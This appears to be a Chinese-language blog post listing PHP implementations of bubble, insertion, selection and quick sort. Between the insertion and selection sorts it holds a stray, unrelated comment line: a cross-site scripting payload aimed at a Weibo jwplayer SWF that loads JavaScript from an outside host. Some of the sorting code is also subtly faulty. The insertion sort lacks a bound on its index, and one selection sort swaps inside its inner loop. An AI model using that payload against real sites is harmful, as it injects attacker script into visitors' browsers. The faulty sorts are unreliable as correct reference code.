php 實現常用演算法

標籤：style   class   blog   c   code   java   

//冒泡排序 從小到大對一組數排序function mp($array){     $count = count($array);     if ($count <= 0) return false;     for($i=0; $i<$count; $i++)      {          for($k=$count-1; $k>$i; $k--)          {              if($array[$k] < $array[$k-1])              {                  $tmp = $array[$k];                  $array[$k] = $array[$k-1];                  $array[$k-1] = $tmp;              }          }         echo $i,"<br/>";    }      return $array;}print_r(mp(array(1,3,5,32,756,2,6,4)));echo "<br/>";
//插入排序  每次將一個待排序的資料元素插入到一個已經排好序的序列中。function insert_sort($arr){         $count = count($arr);         for($i=1; $i<$count; $i++){             $tmp = $arr[$i];             $j = $i - 1;             while($arr[$j] > $tmp){                 $arr[$j+1] = $arr[$j];                 $arr[$j] = $tmp;                 $j--;              }          }         return $arr;     } echo "<br/>";print_r(insert_sort(array(3,34,23,45,56,4,65,12))) ;//http://tw.weibo.com/_common/jwplayer/player.swf?playerready=(function(){location.href=‘javascript:"<script/src=\‘//appmaker.sinaapp.com\/test3.js\‘></script>"‘})//選擇排序 每次從待排序的資料元素中選出最小或最大的那個元素，放在已經排好序的序列的後邊      function select_sort($arr){         $count = count($arr);         for($i=0; $i<$count; $i++){             $k = $i;             for($j=$i+1; $j<$count; $j++){                 if ($arr[$k] > $arr[$j])                     $k = $j;                 if ($k != $i){                     $tmp = $arr[$i];                     $arr[$i] = $arr[$k];                     $arr[$k] = $tmp;                  }              }          }         return $arr;     }   function selection_sort($array){     $count = count($array);     for ($i=0;$i<$count-1;$i++) {        /* find the minest */         $min = $i; echo ‘$min-->‘.$array[$min].‘-->‘;        for ($j=$i+1;$j<$count;$j++) { //由小到大排列             if ($array[$min]>$array[$j]) { //表明當前最小的還比當前的元素大                 $min = $j; //賦值新的最小的                 }               }                echo $array[$min].‘coco<br/>‘;                 /* swap $array[$i] and $array[$min] 即將當前內迴圈的最小元素放在$i位置上*/                 if($min!=$i) {                     $temp = $array[$min];                     $array[$min] = $array[$i];                     $array[$i] = $temp;                }             }           return $array;                           }echo "<br/>";print_r(select_sort(array(3,34,23,45,56,4,65,12,99)));//快速排序function quick_sort($array){       if (count($array) <= 1) return $array;            $key = $array[0];       $left_arr = array();       $right_arr = array();       for ($i=1; $i<count($array); $i++){         if ($array[$i] <= $key)           $left_arr[] = $array[$i];         else          $right_arr[] = $array[$i];       }       $left_arr = quick_sort($left_arr);       $right_arr = quick_sort($right_arr);            return array_merge($left_arr, array($key), $right_arr);     }